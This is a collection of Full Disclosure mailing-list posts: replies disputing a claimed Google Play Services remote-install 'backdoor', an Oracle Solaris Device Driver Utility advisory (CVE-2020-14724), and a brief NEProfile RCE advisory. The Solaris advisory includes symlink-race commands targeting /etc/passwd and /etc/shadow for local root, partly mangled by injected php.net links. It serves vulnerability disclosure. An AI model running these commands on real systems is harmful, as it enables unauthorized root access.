Re: [FD] Google's Android: remote install backdoor in Google Play Services
Could you please provide more detail. I am not seeing how this is an attack. The Debian apt system which predates the play store seems to work under the same principle. You have a core set of default packages and you can install your own packages from the store, in this case debian apt. The debian security team pushes updates which not only install software with patches but the dependencies as well. The vulnerability you appear to be speaking about seems to be a fundamental way the concept of an app store works, it must include a method of pushing patches as new exploits are published. This necessitates pushing any dependencies of the patches. If I am not understanding this properly please elucidate. Thank you, Michael Lazin to gar auto estin noein te kai ennai On Tue, Jul 14, 2020 at 2:01 AM Enrico Weigelt, metux IT consult < i...@metux.net> wrote: > === > Advisory: Google's Android (play services) built-in backdoor for remote > app installation. > === > > Google's PlayServices has a built-in backdoor which allows Google Inc, > or anybody who has access to some device owner's Google account to > remotely silently deploy any apps (at least those listed in the AppStore). > > > Some technical background: > > * PlayServices (GMS) frequently polls Google services for various kinds > of push messages > * amongst those push message is one for triggering the GMS to *silently* > download and install some app from Google app store > * there's no explicit notification, nor asking for confirmation > (except for download progress shortly appearing in status bar) > > Possible attackers: > > * anybody who highjacked victim's Google account > * Malicious operatives at Google > > Quick mitigation: > > a) take away all permissions (especially changing system settings) from >Google Play Services as well as Google Play Store > >--> dramatically reduced the ratio of successful remote deployments >via Google App Store Web interface > > b) disable / remove Google Play Services and Google App Store > > > Legal considerations: > > It is clear that Google explicitly built in an backdoor for silent > remote deployment, without user concent - which is an criminal offense > in most jurisdictions. (eg. CFAA in the US, §303 StGB in Germany). > > Law enforcemence agencies are called to start criminal prosecution, > victims (virtually any Android user) might consider filing criminal > charges against Google. > > > --- > Enrico Weigelt, metux IT consult > Free software and Linux embedded engineering > i...@metux.net -- +49-151-27565287 > > ___ > Sent through the Full Disclosure mailing list > https://nmap.org/mailman/listinfo/fulldisclosure > Web Archives & RSS: http://seclists.org/fulldisclosure/ ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Re: [FD] Google's Android: remote install backdoor in Google Play Services
Il 10/07/20 13:16, Enrico Weigelt, metux IT consult ha scritto: > === > Advisory: Google's Android (play services) built-in backdoor for remote > app installation. > === > > Google's PlayServices has a built-in backdoor which allows Google Inc, > or anybody who has access to some device owner's Google account to > remotely silently deploy any apps (at least those listed in the AppStore). > > > Some technical background: > > * PlayServices (GMS) frequently polls Google services for various kinds > of push messages > * amongst those push message is one for triggering the GMS to *silently* > download and install some app from Google app store > * there's no explicit notification, nor asking for confirmation > (except for download progress shortly appearing in status bar) > > Possible attackers: > > * anybody who highjacked victim's Google account > * Malicious operatives at Google > > Quick mitigation: > > a) take away all permissions (especially changing system settings) from >Google Play Services as well as Google Play Store > >--> dramatically reduced the ratio of successful remote deployments >via Google App Store Web interface > > b) disable / remove Google Play Services and Google App Store > > > Legal considerations: > > It is clear that Google explicitly built in an backdoor for silent > remote deployment, without user concent - which is an criminal offense > in most jurisdictions. (eg. CFAA in the US, §303 StGB in Germany). > > Law enforcemence agencies are called to start criminal prosecution, > victims (virtually any Android user) might consider filing criminal > charges against Google. > > > --- > Enrico Weigelt, metux IT consult > Free software and Linux embedded engineering > i...@metux.net -- +49-151-27565287 > > ___ > Sent through the Full Disclosure mailing list > https://nmap.org/mailman/listinfo/fulldisclosure > Web Archives & RSS: http://seclists.org/fulldisclosure/ > I'm sorry, but what's your point? Looks like you just discovered a documented feature that exists since years. As long as you attach a Google account to your android device, you give up control of that device to that Google account. You can even track or remotely wipe the device (android.com/find). If the Google account is compromised, the same applies to the device. Do you have any proof that Google actually used this feature in an illegal way to remotely deploy malicious software to android users? Have a nice day Fabio Bas ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Insecure /tmp file use in Oracle Solaris 11 Device Driver Utility v1.3.1 leads to root
Title: Insecure /tmp file use in Oracle Solaris 11 Device Driver Utility v1.3.1
leads to root
Author: Larry W. Cashdollar, @_larry0
Date: 2020-02-02
CVE-2020-14724
Download Site: https://docs.oracle.com/cd/E37838_01/html/E69250/useddu.html
Vendor: Oracle, fixed in July 14 2020 CPU
https://www.oracle.com/security-alerts/cpujul2020.html.
Vendor Notified: 2020-02-02
Vendor Contact: secalert...@oracle.com
Advisory: http://www.vapidlabs.com/advisory.php?v=212
Description: "The Device Driver Utility provides information about the devices
on your installed system and the drivers that manage those devices. The DDU
reports whether the currently booted operating system has drivers for all of
the devices that are detected in your system. If a device does not have a
driver attached, the Device Driver Utility recommends a driver package to
install."
Vulnerability:
Append contents of ddu_log to system files via symlink attack:
In ./ddu-text/utils/ddu-text.py
18 LOG_LOCATION = "/tmp/ddu_log" .
45: print _("Exiting Text Installer. Log is available at:\n%s") % LOG_LOCATION
50: logging.basicConfig(filename=LOG_LOCATION, level=LOG_LEVEL,
Elevation of priviledges via symlink attack due to chmod operation on /tmp
file:
In file ./ddu-text/utils/inner_window.py
667: logfile = open('/tmp/ddu_err.log', 'a')
695: logfile = open('/tmp/ddu_err.log', 'a')
721: logfile = open('/tmp/ddu_err.log', 'a')
748: logfile = open('/tmp/ddu_err.log', 'a')
In file ./scripts/comp_lookup.sh
33:typeset err_log=/tmp/ddu_err.log In file ./scripts/det_info.sh
38:typeset err_log=/tmp/ddu_err.log In file ./scripts/pkg_relate.sh
449:typeset err_log=/tmp/ddu_err.log In file ./scripts/find_media.sh
20:typeset err_log=/tmp/ddu_err.log
There is a race condition here between file creation and chmod 666 where a
local user can run a simple script to ensure the symlink exists after the
ddu_err.log file is removed:
In file ./scripts/probe.sh 569:
# Make /tmp/ddu_err.log writable for every user
571: if [ -f /tmp/ddu_err.log ]; then
572: pfexec chmod 666 /tmp/ddu_err.log
574: touch /tmp/ddu_err.log; chmod 666 /tmp/ddu_err.log
636:typeset err_log=/tmp/ddu_err.log
These are also potential file clobbering issues: From probe.sh
131: NIC_info_file=/tmp/dvt_network_info_file
133: temp_file=/tmp/dvt_network_temp
134: temp_file_2=/tmp/dvt_network_temp_2
207: c_file=/tmp/str_ctrl_file
208: c_file1=/tmp/str_ctrl_file_1
209: c_file2=/tmp/str_ctrl_file_2
210: c_file3=/tmp/str_ctrl_file_3
211: c_file4=/tmp/str_ctrl_file_4
212: c_file5=/tmp/str_ctrl_file_5
328: dvt_cd_dev_tmpfile=/tmp/dvt_cd_dev_tmpfile
329: dvt_cd_ctl_tmpfile=/tmp/dvt_cd_ctl_tmpfile
330: dvt_cd_ctl_tmpfile1=/tmp/dvt_cd_ctl_tmpfile1
398: temp_file1=/tmp/dvt_tmp_file1
399: temp_file2=/tmp/dvt_tmp_file2
462: cpu_tmpfile=/tmp/cpu_tmpfile
490: memory_tmpfile=/tmp/memory_tmpfile
624:typeset ctl_file=/tmp/dvt_ctl_file
Exploit Code:
1. Tested on Solaris 11 x86
2. larry@SolSun:~$ uname -a
3. SunOS SolSun 5.11 11.4.0.15.0 i86pc i386 i86pc
4. and
5. Open Indiana
6. root@openindiana:/export/home/larry# uname -a
7. SunOS openindiana 5.11 illumos-1b500975aa i86pc i386 i86pc
9. Append content to /etc/passwd
10. larry@openindiana:/tmp$ ln -s /etc/passwd ddu_log
12. To get local root simply have ddu http://www.php.net/chmod 666 /etc/shadow
13. larry@openindiana:/tmp$ while true; do ln -s /etc/shadow
ddu_err.http://www.php.net/log; done
14.
15. A better exploit:
https://github.com/lcashdol/Exploits/tree/master/ddu-exploit
Patches to OpenIndiana
https://github.com/OpenIndiana/ddu/commit/31dca7f6bee738980ecabefadedd01fcc3f3acf6
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] NEProfile - Remote Code Execution
Exploit Title: NEProfile - Remote Code Execution Date: 5/13/2020 Vendor Homepage: https://seczetta.com Software Link: https://seczetta.com/product/ne-profile Version: 3.3.11 Tested on: 3.3.11 Exploit Author: Josh Sheppard Exploit Contact: ghost () a t undervurse dot_com Exploit Technique: Remote CVE ID: CVE-2020-12854 1. Description A remote code execution vulnerability was identified in SecZetta's NEProfile product. Authenticated remote adversaries can invoke code execution upon uploading a carefully crafted jpg as part of the profile avatar. The issue affects version 3.3.11 and has not been tested on other versions of the product. 2. Disclosure Timeline 5/4/20 - Discovery and Exploitation 5/12/20 - Vendor Notified 6/18/20 - Patch / Hotfix Created 3. Mitigation Apply hotfix provided by vendor ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
